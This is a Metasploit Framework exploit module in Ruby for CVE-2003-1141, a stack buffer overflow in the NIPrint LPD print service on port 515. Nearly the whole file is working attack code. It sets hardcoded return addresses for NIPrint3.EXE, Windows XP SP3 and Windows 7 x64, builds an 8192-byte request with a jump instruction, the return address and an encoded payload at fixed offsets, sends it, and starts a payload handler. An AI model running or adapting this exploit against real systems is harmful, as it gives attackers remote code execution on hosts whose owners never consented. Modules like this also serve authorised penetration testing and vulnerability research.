NIPrint LPD Request Overflow



##

# $Id: niprint.rb 11407 2010-12-25 06:01:12Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'NIPrint LPD Request Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in the
                Network Instrument NIPrint LPD service. Inspired by
                Immunity's VisualSploit :-)
            },
            'Author'         => [ 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 11407 $',
            'References'     =>
                [
                    ['CVE', '2003-1141'],
                    ['OSVDB', '2774'],
                    ['BID', '8968'],
                    ['URL',   'http://www.immunitysec.com/documentation/vs_niprint.html'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'    => 500,
                    'BadChars' => "\x00\x0a",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    ['NIPrint3.EXE (TDS:0x3a045ff2)', { 'Ret' => 0x00404236 }], # jmp esi
                    ['Windows XP SP3', { 'Ret' => 0x7C9D30E3 }],
                    ['Windows 7 x64', { 'Ret' => 0x763B35DD }],
                ],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Nov 05 2003'))

        register_options(
            [
                Opt::RPORT(515)
            ], self.class )
    end

    def exploit
        connect

        req = rand_text_alphanumeric(8192)
        req[  0, 2] = "\xeb\x33"
        req[ 49, 4] = [target.ret].pack('V')
        req[ 53, payload.encoded.length ] = payload.encoded

        print_status("Trying target #{target.name}...")
        sock.put(req)

        handler
        disconnect
    end

end